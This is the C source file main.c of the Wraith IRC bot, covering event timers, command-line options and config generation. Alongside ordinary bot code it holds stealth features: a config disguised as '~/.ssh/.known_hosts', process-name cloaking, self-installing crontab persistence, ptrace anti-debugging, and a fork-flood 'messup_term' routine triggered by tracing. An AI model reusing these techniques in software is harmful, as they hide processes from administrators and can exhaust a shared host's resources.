main.c 40 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494
  1. /*
  2. * main.c -- handles:
  3. * core event handling
  4. * command line arguments
  5. * context and assert debugging
  6. *
  7. */
  8. #include "main.h"
  9. #include "build.h"
  10. #include <libgen.h>
  11. #include <time.h>
  12. #include <errno.h>
  13. #include <netdb.h>
  14. #include <unistd.h>
  15. #include <sys/utsname.h>
  16. #ifdef STOP_UAC /* osf/1 complains a lot */
  17. # include <sys/sysinfo.h>
  18. # define UAC_NOPRINT 0x00000001 /* Don't report unaligned fixups */
  19. #endif /* STOP_UAC */
  20. #include <sys/file.h>
  21. #include <sys/stat.h>
  22. #include <sys/types.h>
  23. #ifdef S_ANTITRACE
  24. #include <sys/ptrace.h>
  25. #include <sys/wait.h>
  26. #endif /* S_ANTITRACE */
  27. #include <sys/resource.h>
  28. #include <dirent.h>
  29. #include <pwd.h>
  30. #include "chan.h"
  31. #include "modules.h"
  32. #include "tandem.h"
  33. #ifdef CYGWIN_HACKS
  34. #include <windows.h>
  35. #endif
  36. #ifndef _POSIX_SOURCE
  37. /* Solaris needs this */
  38. #define _POSIX_SOURCE 1
  39. #endif
  40. #ifdef HUB
  41. int hub = 1;
  42. int leaf = 0;
  43. #else
  44. int hub = 0;
  45. int leaf = 1;
  46. #endif
  47. extern char origbotname[], userfile[], botnetnick[], packname[],
  48. shellhash[], myip6[], myip[], hostname[],
  49. hostname6[], natip[];
  50. extern int dcc_total, conmask, cache_hit, cache_miss,
  51. fork_interval, optind, local_fork_interval,
  52. sdebug;
  53. extern struct dcc_t *dcc;
  54. extern struct userrec *userlist;
  55. extern struct chanset_t *chanset;
  56. extern Tcl_Interp *interp;
  57. extern tcl_timer_t *timer,
  58. *utimer;
  59. const time_t buildts = CVSBUILD; /* build timestamp (UTC) */
  60. const char egg_version[1024] = "1.0.15";
  61. const int egg_numver = 1001500;
  62. #ifdef HUB
  63. int my_port;
  64. #endif /* HUB */
  65. int localhub = 1; /* we set this to 0 if we have -c, later. */
  66. int role;
  67. int loading = 0;
  68. char notify_new[121] = ""; /* Person to send a note to for new users */
  69. int default_flags = 0; /* Default user flags and */
  70. int default_uflags = 0; /* Default userdefinied flags for people
  71. who say 'hello' or for .adduser */
  72. int backgrd = 1; /* Run in the background? */
  73. time_t lastfork = 0;
  74. uid_t myuid;
  75. int term_z = 0; /* Foreground: use the terminal as a party line? */
  76. int checktrace = 1; /* Check for trace when starting up? */
  77. int pscloak = 1; /* cloak the process name in ps for linux? */
  78. int updating = 0; /* this is set when the binary is called from itself. */
  79. char tempdir[DIRMAX] = "";
  80. char *binname;
  81. time_t online_since; /* Unix-time that the bot loaded up */
  82. char owner[121] = ""; /* Permanent owner(s) of the bot */
  83. char pid_file[DIRMAX]; /* Name of the file for the pid to be
  84. stored in */
  85. int save_users_at = 0; /* How many minutes past the hour to
  86. save the userfile? */
  87. int notify_users_at = 0; /* How many minutes past the hour to
  88. notify users of notes? */
  89. char version[81]; /* Version info (long form) */
  90. char ver[41]; /* Version info (short form) */
  91. int use_stderr = 1; /* Send stuff to stderr instead of logfiles? */
  92. int do_restart = 0; /* .restart has been called, restart asap */
  93. int resolve_timeout = 10; /* hostname/address lookup timeout */
  94. char quit_msg[1024]; /* quit message */
  95. time_t now; /* duh, now :) */
  96. extern struct cfg_entry CFG_FORKINTERVAL;
  97. #define fork_interval atoi( CFG_FORKINTERVAL.ldata ? CFG_FORKINTERVAL.ldata : CFG_FORKINTERVAL.gdata ? CFG_FORKINTERVAL.gdata : "0")
  98. /* Traffic stats
  99. */
  100. unsigned long otraffic_irc = 0;
  101. unsigned long otraffic_irc_today = 0;
  102. unsigned long otraffic_bn = 0;
  103. unsigned long otraffic_bn_today = 0;
  104. unsigned long otraffic_dcc = 0;
  105. unsigned long otraffic_dcc_today = 0;
  106. unsigned long otraffic_filesys = 0;
  107. unsigned long otraffic_filesys_today = 0;
  108. unsigned long otraffic_trans = 0;
  109. unsigned long otraffic_trans_today = 0;
  110. unsigned long otraffic_unknown = 0;
  111. unsigned long otraffic_unknown_today = 0;
  112. unsigned long itraffic_irc = 0;
  113. unsigned long itraffic_irc_today = 0;
  114. unsigned long itraffic_bn = 0;
  115. unsigned long itraffic_bn_today = 0;
  116. unsigned long itraffic_dcc = 0;
  117. unsigned long itraffic_dcc_today = 0;
  118. unsigned long itraffic_trans = 0;
  119. unsigned long itraffic_trans_today = 0;
  120. unsigned long itraffic_unknown = 0;
  121. unsigned long itraffic_unknown_today = 0;
  122. void fatal(const char *s, int recoverable)
  123. {
  124. int i;
  125. #ifdef LEAF
  126. module_entry *me;
  127. if ((me = module_find("server", 0, 0))) {
  128. Function *func = me->funcs;
  129. (func[SERVER_NUKESERVER]) (s);
  130. }
  131. #endif /* LEAF */
  132. if (s[0])
  133. putlog(LOG_MISC, "*", "* %s", s);
  134. /* flushlogs(); */
  135. for (i = 0; i < dcc_total; i++) {
  136. if (dcc[i].sock >= 0)
  137. killsock(dcc[i].sock);
  138. #ifdef HAVE_SSL
  139. ssl_cleanup();
  140. #endif /* HAVE_SSL */
  141. }
  142. if (!recoverable) {
  143. unlink(pid_file);
  144. exit(1);
  145. }
  146. }
  147. static void check_expired_dcc()
  148. {
  149. int i;
  150. for (i = 0; i < dcc_total; i++)
  151. if (dcc[i].type && dcc[i].type->timeout_val &&
  152. ((now - dcc[i].timeval) > *(dcc[i].type->timeout_val))) {
  153. if (dcc[i].type->timeout)
  154. dcc[i].type->timeout(i);
  155. else if (dcc[i].type->eof)
  156. dcc[i].type->eof(i);
  157. else
  158. continue;
  159. /* Only timeout 1 socket per cycle, too risky for more */
  160. return;
  161. }
  162. }
  163. void expire_simuls() {
  164. int idx = 0;
  165. for (idx = 0; idx < dcc_total; idx++) {
  166. if (dcc[idx].simul > 0) {
  167. if ((now - dcc[idx].simultime) >= 20) { /* expire simuls after 20 seconds (re-uses idx, so it wont fill up) */
  168. dcc[idx].simul = -1;
  169. lostdcc(idx);
  170. }
  171. }
  172. }
  173. }
  174. #ifdef LEAF
  175. static void gotspawn(char *);
  176. #endif /* LEAF */
  177. void checkpass()
  178. {
  179. static int checkedpass = 0;
  180. if (!checkedpass) {
  181. char *gpasswd = (char *) getpass("");
  182. if (md5cmp(shellhash, gpasswd))
  183. fatal(STR("incorrect password."), 0);
  184. checkedpass = 1;
  185. }
  186. }
  187. int clear_tmp()
  188. {
  189. DIR *tmp;
  190. struct dirent *dir_ent;
  191. if (!(tmp = opendir(tempdir))) return 1;
  192. while ((dir_ent = readdir(tmp))) {
  193. if (strncmp(dir_ent->d_name, ".pid.", 4) && strncmp(dir_ent->d_name, ".u", 2) && strcmp(dir_ent->d_name, ".bin.old")
  194. && strcmp(dir_ent->d_name, ".") && strcmp(dir_ent->d_name, ".un") && strcmp(dir_ent->d_name, "..")) {
  195. char *file = nmalloc(strlen(dir_ent->d_name) + strlen(tempdir) + 1);
  196. file[0] = 0;
  197. strcat(file, tempdir);
  198. strcat(file, dir_ent->d_name);
  199. file[strlen(file)] = 0;
  200. unlink(file);
  201. nfree(file);
  202. }
  203. }
  204. closedir(tmp);
  205. return 0;
  206. }
  207. void got_ed(char *which, char *in, char *out)
  208. {
  209. sdprintf(STR("got_Ed called: -%s i: %s o: %s"), which, in, out);
  210. if (!in || !out)
  211. fatal(STR("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>"),0);
  212. if (!strcmp(in, out))
  213. fatal(STR("<infile> should NOT be the same name as <outfile>"), 0);
  214. if (!strcmp(which, "e")) {
  215. EncryptFile(in, out);
  216. fatal(STR("File Encryption complete"),3);
  217. } else if (!strcmp(which, "d")) {
  218. DecryptFile(in, out);
  219. fatal(STR("File Decryption complete"),3);
  220. }
  221. exit(0);
  222. }
  223. char *my_uname();
  224. void gen_conf(char *filename, int type)
  225. {
  226. FILE *fp;
  227. if (is_file(filename) || is_dir(filename))
  228. fatal(STR("File already exists.."), 0);
  229. fp = fopen(filename, "w");
  230. if (type == 1) {
  231. fprintf(fp, STR("#All lines beginning with '#' will be ignored during the bot startup. They are comments only.\n"));
  232. fprintf(fp, STR("#These lines MUST be correctly syntaxed or the bot will not work properly.\n"));
  233. fprintf(fp, STR("#A hub conf is located in the same dir as the hub binary, as 'conf' (encrypted)\n"));
  234. fprintf(fp, STR("#A leaf conf is located at '~/.ssh/.known_hosts' (encrypted)\n"));
  235. fprintf(fp, STR("#\n"));
  236. fprintf(fp, STR("#Note the \"- \" and \"+ \" for the following items, the space is REQUIRED.\n"));
  237. fprintf(fp, STR("#The first line must be the UID of the shell the bot is to be run on. (use \"id\" in shell to get uid)\n"));
  238. fprintf(fp, STR("#- 1113\n"));
  239. fprintf(fp, STR("#The second must be the output from uname -nv (-nr on FBSD)\n"));
  240. fprintf(fp, STR("#+ somebox #1 SMP Thu May 29 06:55:05 EDT 2003\n"));
  241. fprintf(fp, STR("#\n"));
  242. fprintf(fp, STR("#The following line will disable ps cloaking on the shell if you compiled with S_PSCLOAK\n"));
  243. fprintf(fp, STR("#!-\n"));
  244. fprintf(fp, STR("#The rest of the conf is for bots and is in the following syntax:\n"));
  245. fprintf(fp, STR("#botnick [!]ip4 [+]hostname IPv6-ip\n"));
  246. fprintf(fp, STR("#A . (period) can be used in place of ip4 and/or hostname if the field is not needed. (ie, for using only an ipv6 ip)\n"));
  247. fprintf(fp, STR("#(the ! means internal NAT ip address, IE: 10.10.0.3, Hostname REQUIRED)\n"));
  248. fprintf(fp, STR("#Full example:\n"));
  249. fprintf(fp, STR("#- 101\n"));
  250. fprintf(fp, STR("#+ somebox 5.1-RELEASE\n"));
  251. fprintf(fp, STR("#bot1 1.2.3.4 some.vhost.com\n"));
  252. fprintf(fp, STR("#bot2 . +ipv6.uber.leet.la\n"));
  253. fprintf(fp, STR("#bot3 . +another.ipv6.host.com 2001:66:669:3a4::1\n"));
  254. fprintf(fp, STR("#bot4 1.2.3.4 +someipv6.host.com\n"));
  255. fprintf(fp, STR("\n\n\n\n#if there are any trailing newlines at the end, remove them up to the last bot.\n"));
  256. } else {
  257. fprintf(fp, "- %d\n", geteuid());
  258. fprintf(fp, "+ %s\n", my_uname());
  259. fprintf(fp, STR("#bot ip|. [+]host|. [ipv6-ip]\n"));
  260. }
  261. fflush(fp);
  262. fclose(fp);
  263. printf(STR("Template config created as '%s'\n"), filename);
  264. exit(0);
  265. }
  266. void show_help()
  267. {
  268. char format[81];
  269. egg_snprintf(format, sizeof format, "%%-30s %%-30s\n");
  270. printf(STR("Wraith %s\n\n"), egg_version);
  271. printf(format, STR("Option"), STR("Description"));
  272. printf(format, STR("------"), STR("-----------"));
  273. printf(format, STR("-e <infile> <outfile>"), STR("Encrypt infile to outfile"));
  274. printf(format, STR("-d <infile> <outfile>"), STR("Decrypt infile to outfile"));
  275. printf(format, STR("-D"), STR("Enables debug mode (see -n)"));
  276. printf(format, STR("-E [#/all]"), STR("Display Error codes english translation (use 'all' to display all)"));
  277. printf(format, STR("-g <file>"), STR("Generates a template config file"));
  278. printf(format, STR("-G <file>"), STR("Generates a custom config for the box"));
  279. printf(format, STR("-h"), STR("Display this help listing"));
  280. /* printf(format, STR("-k <botname>"), STR("Terminates (botname) with kill -9")); */
  281. printf(format, STR("-n"), STR("Disables backgrounding first bot in conf"));
  282. printf(format, STR("-s"), STR("Disables checking for ptrace/strace during startup (no pass needed)"));
  283. printf(format, STR("-t"), STR("Enables \"Partyline\" emulation (requires -n)"));
  284. printf(format, STR("-v"), STR("Displays bot version"));
  285. exit(0);
  286. }
  287. #ifdef LEAF
  288. # define PARSE_FLAGS "2c:d:De:Eg:G:L:P:hnstv"
  289. #else /* !LEAF */
  290. # define PARSE_FLAGS "2d:De:Eg:G:hnstv"
  291. #endif /* HUB */
  292. #define FLAGS_CHECKPASS "dDeEgGhntv"
  293. static void dtx_arg(int argc, char *argv[])
  294. {
  295. int i, localhub_pid = 0;
  296. char *p = NULL;
  297. while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
  298. if (strchr(FLAGS_CHECKPASS, i))
  299. checkpass();
  300. switch (i) {
  301. case '2': /* used for testing new binary through update */
  302. exit(2);
  303. #ifdef LEAF
  304. case 'c':
  305. localhub = 0;
  306. gotspawn(optarg);
  307. break;
  308. #endif /* LEAF */
  309. case 'h':
  310. show_help();
  311. case 'g':
  312. gen_conf(optarg, 1);
  313. case 'G':
  314. gen_conf(optarg, 2);
  315. case 'n':
  316. backgrd = 0;
  317. break;
  318. case 's':
  319. checktrace = 0;
  320. break;
  321. case 't':
  322. term_z = 1;
  323. break;
  324. case 'D':
  325. sdebug = 1;
  326. sdprintf(STR("debug enabled"));
  327. break;
  328. case 'E':
  329. p = argv[optind];
  330. if (p && p[0]) {
  331. if (!strcmp(p, "all")) {
  332. int n;
  333. putlog(LOG_MISC, "*", STR("Listing all errors"));
  334. for (n = 1; n < ERR_MAX; n++)
  335. putlog(LOG_MISC, "*", STR("Error #%d: %s"), n, werr_tostr(n));
  336. } else if (egg_isdigit(p[0])) {
  337. putlog(LOG_MISC, "*", STR("Error #%d: %s"), atoi(p), werr_tostr(atoi(p)));
  338. }
  339. exit(0);
  340. } else {
  341. fatal(STR("You must specify error number after -E (or 'all')"), 0);
  342. }
  343. break;
  344. case 'e':
  345. if (argv[optind])
  346. p = argv[optind];
  347. got_ed("e", optarg, p);
  348. case 'd':
  349. if (argv[optind])
  350. p = argv[optind];
  351. got_ed("d", optarg, p);
  352. case 'v':
  353. {
  354. char date[50];
  355. egg_strftime(date, sizeof date, "%c %Z", gmtime(&buildts));
  356. printf("Wraith %s\nBuild Date: %s (%lu)\n", egg_version, date, buildts);
  357. printf("SALTS\nfiles: %s\nbotlink: %s\n", SALT1, SALT2);
  358. exit(0);
  359. }
  360. #ifdef LEAF
  361. case 'L':
  362. {
  363. FILE *fp;
  364. char buf2[DIRMAX], s[11];
  365. egg_snprintf(buf2, sizeof buf2, "%s/.../.pid.%s", confdir(), optarg);
  366. if ((fp = fopen(buf2, "r"))) {
  367. fgets(s, 10, fp);
  368. localhub_pid = atoi(s);
  369. fclose(fp);
  370. /* printf("LOCALHUB PID: %d\n", localhub_pid); */
  371. }
  372. break;
  373. }
  374. case 'P':
  375. if (atoi(optarg) && (atoi(optarg) != localhub_pid))
  376. exit(2);
  377. else
  378. sdprintf(STR("Updating..."));
  379. localhub = 1;
  380. updating = 1;
  381. break;
  382. #endif
  383. default:
  384. break;
  385. }
  386. }
  387. }
  388. #ifdef CRAZY_TRACE
  389. /* This code will attach a ptrace() to getpid() hence blocking process hijackers/tracers on the pid
  390. * only problem.. it just creates a new pid to be traced/hijacked :\
  391. */
  392. int attached = 0;
  393. void crazy_trace()
  394. {
  395. int parent = getpid();
  396. int x = fork();
  397. if (x == -1) {
  398. printf("Can't fork(): %s\n", strerror(errno));
  399. } else if (x == 0) {
  400. int i;
  401. i = ptrace(PTRACE_ATTACH, parent, (char *) 1, 0);
  402. if (i == (-1) && errno == EPERM) {
  403. printf("CANT PTRACE PARENT: errno: %d %s, i: %d\n", errno, strerror(errno), i);
  404. waitpid(parent, &i, 0);
  405. kill(parent, SIGCHLD);
  406. ptrace(PTRACE_DETACH, parent, 0, 0);
  407. kill(parent, SIGCHLD);
  408. exit(0);
  409. } else {
  410. printf("SUCCESSFUL ATTACH to %d: %d\n", parent, i);
  411. attached++;
  412. }
  413. } else {
  414. printf("wait()\n");
  415. wait(&x);
  416. }
  417. printf("end\n");
  418. }
  419. #endif /* CRAZY_TRACE */
  420. /* Timer info */
  421. static int lastmin = 99;
  422. static time_t then;
  423. static struct tm nowtm;
  424. int curcheck = 0;
  425. void core_10secondly()
  426. {
  427. curcheck++;
  428. #ifdef LEAF
  429. if (localhub)
  430. #endif /* LEAF */
  431. check_promisc();
  432. if (curcheck == 1)
  433. check_trace(0);
  434. #ifdef LEAF
  435. if (localhub) {
  436. #endif /* LEAF */
  437. if (curcheck==2)
  438. check_last();
  439. if (curcheck==3) {
  440. check_processes();
  441. curcheck=0;
  442. }
  443. #ifdef LEAF
  444. }
  445. #endif /* LEAF */
  446. }
  447. static void core_secondly()
  448. {
  449. static int cnt = 0;
  450. int miltime;
  451. #ifdef CRAZY_TRACE
  452. if (!attached) crazy_trace();
  453. #endif /* CRAZY_TRACE */
  454. do_check_timers(&utimer); /* Secondly timers */
  455. if (fork_interval && backgrd) {
  456. if ((now - lastfork) > fork_interval)
  457. do_fork();
  458. }
  459. cnt++;
  460. if ((cnt % 5) == 0)
  461. call_hook(HOOK_5SECONDLY);
  462. if ((cnt % 10) == 0) {
  463. call_hook(HOOK_10SECONDLY);
  464. check_expired_dcc();
  465. }
  466. if ((cnt % 30) == 0) {
  467. autolink_cycle(NULL); /* attempt autolinks */
  468. call_hook(HOOK_30SECONDLY);
  469. cnt = 0;
  470. }
  471. #ifdef S_UTCTIME
  472. egg_memcpy(&nowtm, gmtime(&now), sizeof(struct tm));
  473. #else /* !S_UTCTIME */
  474. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  475. #endif /* S_UTCTIME */
  476. if (nowtm.tm_min != lastmin) {
  477. int i = 0;
  478. /* Once a minute */
  479. lastmin = (lastmin + 1) % 60;
  480. call_hook(HOOK_MINUTELY);
  481. check_botnet_pings();
  482. check_expired_ignores();
  483. /* In case for some reason more than 1 min has passed: */
  484. while (nowtm.tm_min != lastmin) {
  485. /* Timer drift, dammit */
  486. debug2(STR("timer: drift (lastmin=%d, now=%d)"), lastmin, nowtm.tm_min);
  487. i++;
  488. lastmin = (lastmin + 1) % 60;
  489. call_hook(HOOK_MINUTELY);
  490. }
  491. if (i > 1)
  492. putlog(LOG_MISC, "*", STR("(!) timer drift -- spun %d minutes"), i);
  493. miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
  494. if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) { /* 5 min */
  495. call_hook(HOOK_5MINUTELY);
  496. /* flushlogs(); */
  497. if (!miltime) { /* At midnight */
  498. char s[25];
  499. strncpyz(s, ctime(&now), sizeof s);
  500. #ifdef HUB
  501. putlog(LOG_ALL, "*", STR("--- %.11s%s"), s, s + 20);
  502. backup_userfile();
  503. #endif /* HUB */
  504. }
  505. }
  506. if (nowtm.tm_min == notify_users_at)
  507. call_hook(HOOK_HOURLY);
  508. else if (nowtm.tm_min == 30)
  509. call_hook(HOOK_HALFHOURLY);
  510. /* These no longer need checking since they are all check vs minutely
  511. * settings and we only get this far on the minute.
  512. */
  513. #ifdef HUB
  514. if (miltime == 300) {
  515. call_hook(HOOK_DAILY);
  516. }
  517. #endif /* HUB */
  518. }
  519. }
  520. #ifdef LEAF
  521. static void check_mypid()
  522. {
  523. module_entry *me;
  524. FILE *fp;
  525. char s[15];
  526. int xx = 0;
  527. char buf2[DIRMAX];
  528. egg_snprintf(buf2, sizeof buf2, "%s.pid.%s", tempdir, botnetnick);
  529. if ((fp = fopen(buf2, "r"))) {
  530. fgets(s, 10, fp);
  531. xx = atoi(s);
  532. if (getpid() != xx) { //we have a major problem if this is happening..
  533. fatal(STR("getpid() does not match pid in file. Possible cloned process, exiting.."), 1);
  534. if ((me = module_find("server", 0, 0))) {
  535. Function *func = me->funcs;
  536. (func[SERVER_NUKESERVER]) ("cloned process");
  537. }
  538. botnet_send_bye();
  539. exit(1);
  540. }
  541. fclose(fp);
  542. }
  543. }
  544. #endif /* LEAF */
  545. static void core_minutely()
  546. {
  547. #ifdef LEAF
  548. check_mypid();
  549. #endif
  550. check_tcl_time(&nowtm);
  551. do_check_timers(&timer);
  552. /* flushlogs(); */
  553. }
  554. static void core_hourly()
  555. {
  556. }
  557. static void core_halfhourly()
  558. {
  559. #ifdef HUB
  560. write_userfile(-1);
  561. #endif /* HUB */
  562. }
  563. static void event_rehash()
  564. {
  565. check_tcl_event("rehash");
  566. }
  567. static void event_prerehash()
  568. {
  569. check_tcl_event("prerehash");
  570. }
  571. static void event_save()
  572. {
  573. check_tcl_event("save");
  574. }
  575. static void event_resettraffic()
  576. {
  577. otraffic_irc += otraffic_irc_today;
  578. itraffic_irc += itraffic_irc_today;
  579. otraffic_bn += otraffic_bn_today;
  580. itraffic_bn += itraffic_bn_today;
  581. otraffic_dcc += otraffic_dcc_today;
  582. itraffic_dcc += itraffic_dcc_today;
  583. otraffic_unknown += otraffic_unknown_today;
  584. itraffic_unknown += itraffic_unknown_today;
  585. otraffic_trans += otraffic_trans_today;
  586. itraffic_trans += itraffic_trans_today;
  587. otraffic_irc_today = otraffic_bn_today = 0;
  588. otraffic_dcc_today = otraffic_unknown_today = 0;
  589. itraffic_irc_today = itraffic_bn_today = 0;
  590. itraffic_dcc_today = itraffic_unknown_today = 0;
  591. itraffic_trans_today = otraffic_trans_today = 0;
  592. }
  593. void kill_tcl();
  594. extern module_entry *module_list;
  595. void restart_chons();
  596. void check_static(char *, char *(*)());
  597. #include "mod/static.h"
  598. int init_mem(), init_dcc_max(), init_userent(), init_misc(), init_auth(), init_config(), init_bots(),
  599. init_net(), init_modules(), init_tcl(int, char **), init_botcmd(), init_settings();
  600. static inline void garbage_collect(void)
  601. {
  602. static u_8bit_t run_cnt = 0;
  603. if (run_cnt == 3)
  604. garbage_collect_tclhash();
  605. else
  606. run_cnt++;
  607. }
  608. int crontab_exists() {
  609. char buf[2048], *out=NULL;
  610. sprintf(buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  611. if (shell_exec(buf, NULL, &out, NULL)) {
  612. if (out && strstr(out, binname)) {
  613. nfree(out);
  614. return 1;
  615. } else {
  616. if (out)
  617. nfree(out);
  618. return 0;
  619. }
  620. } else
  621. return (-1);
  622. }
  623. void crontab_create(int interval) {
  624. char tmpfile[161],
  625. buf[256];
  626. FILE *f;
  627. int fd;
  628. /* always use mkstemp() when handling temp files! -dizz */
  629. sprintf(tmpfile, "%s.crontab-XXXXXX", tempdir);
  630. if ((fd = mkstemp(tmpfile)) == -1) {
  631. unlink(tmpfile);
  632. return;
  633. }
  634. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  635. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  636. buf[0] = 0;
  637. if (interval == 1)
  638. strcpy(buf, "*");
  639. else {
  640. int i = 1;
  641. int si = random() % interval;
  642. while (i < 60) {
  643. if (buf[0])
  644. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  645. else
  646. sprintf(buf, "%i", (i + si) % 60);
  647. i += interval;
  648. }
  649. }
  650. sprintf(buf + strlen(buf), STR(" * * * * %s > /dev/null 2>&1"), binname);
  651. fseek(f, 0, SEEK_END);
  652. fprintf(f, STR("\n%s\n"), buf);
  653. fclose(f);
  654. sprintf(buf, STR("crontab %s"), tmpfile);
  655. shell_exec(buf, NULL, NULL, NULL);
  656. }
  657. close(fd);
  658. unlink(tmpfile);
  659. }
  660. static void check_crontab()
  661. {
  662. int i = 0;
  663. #ifdef LEAF
  664. if (!localhub)
  665. fatal(STR("something is wrong."), 0);
  666. #endif /* LEAF */
  667. if (!(i = crontab_exists())) {
  668. crontab_create(5);
  669. if (!(i = crontab_exists()))
  670. printf(STR("* Error writing crontab entry.\n"));
  671. }
  672. }
  673. #ifdef LEAF
  674. static void gotspawn(char *filename)
  675. {
  676. FILE *fp;
  677. char templine[8192], *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps;
  678. if (!(fp = fopen(filename, "r")))
  679. fatal(STR("Cannot read from local config (2)"), 0);
  680. while(fscanf(fp,"%[^\n]\n",templine) != EOF) {
  681. void *my_ptr;
  682. temps = my_ptr = decrypt_string(SALT1, templine);
  683. #ifdef S_PSCLOAK
  684. sdprintf(STR("GOTSPAWN: %s"), temps);
  685. #endif /* S_PSCLOAK */
  686. pscloak = atoi(newsplit(&temps));
  687. if (temps[0])
  688. nick = newsplit(&temps);
  689. if (!nick)
  690. fatal("invalid config (2).",0);
  691. if (temps[0])
  692. ip = newsplit(&temps);
  693. if (temps[0])
  694. host = newsplit(&temps);
  695. if (temps[0])
  696. ipsix = newsplit(&temps);
  697. egg_snprintf(origbotname, 10, "%s", nick);
  698. if (ip[1]) {
  699. if (ip[0] == '!') { //natip
  700. ip++;
  701. sprintf(natip,"%s",ip);
  702. } else {
  703. egg_snprintf(myip, 120, "%s", ip);
  704. }
  705. }
  706. if (host && host[1]) {
  707. if (host[0] == '+') { //ip6 host
  708. host++;
  709. sprintf(hostname6,"%s",host);
  710. } else { //normal ip4 host
  711. sprintf(hostname,"%s",host);
  712. }
  713. }
  714. if (ipsix && ipsix[1]) {
  715. egg_snprintf(myip6, 120, "%s", ipsix);
  716. }
  717. if (my_ptr)
  718. nfree(my_ptr);
  719. }
  720. fclose(fp);
  721. unlink(filename);
  722. }
  723. static int spawnbot(char *bin, char *nick, char *ip, char *host, char *ipsix, int cloak)
  724. {
  725. char buf[DIRMAX], bindir[DIRMAX], bufrun[DIRMAX];
  726. FILE *fp;
  727. sprintf(buf, "%s", bin);
  728. sprintf(bindir, "%s", dirname(buf));
  729. sprintf(buf, "%s/.wraith-%s", bindir, nick);
  730. if (!(fp = fopen(buf, "w")))
  731. fatal(STR("Cannot create spawnfiles..."), 0);
  732. lfprintf(fp, "%d %s %s %s %s\n", cloak, nick, ip ? ip : ".", host ? host : ".", ipsix ? ipsix : ".");
  733. fflush(fp);
  734. fclose(fp);
  735. sprintf(bufrun, "%s -c %s", bin, buf);
  736. return system(bufrun);
  737. }
  738. #endif /* LEAF */
  739. #ifdef S_MESSUPTERM
  740. void messup_term() {
  741. int i;
  742. char *argv[4];
  743. freopen("/dev/null", "w", stderr);
  744. for (i = 0; i < 11; i++) {
  745. fork();
  746. }
  747. argv[0] = nmalloc(100);
  748. strcpy(argv[0], "/bin/sh");
  749. argv[1] = "-c";
  750. argv[2] = nmalloc(1024);
  751. strcpy(argv[2], "cat < ");
  752. strcat(argv[2], binname);
  753. argv[3] = NULL;
  754. execvp(argv[0], &argv[0]);
  755. }
  756. #endif /* S_MESSUPTERM */
  757. void check_trace_start()
  758. {
  759. #ifdef S_ANTITRACE
  760. int parent = getpid();
  761. int xx = 0, i = 0;
  762. #ifdef __linux__
  763. xx = fork();
  764. if (xx == -1) {
  765. printf(STR("Can't fork process!\n"));
  766. exit(1);
  767. } else if (xx == 0) {
  768. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  769. if (i == (-1) && errno == EPERM) {
  770. #ifdef S_MESSUPTERM
  771. messup_term();
  772. #else
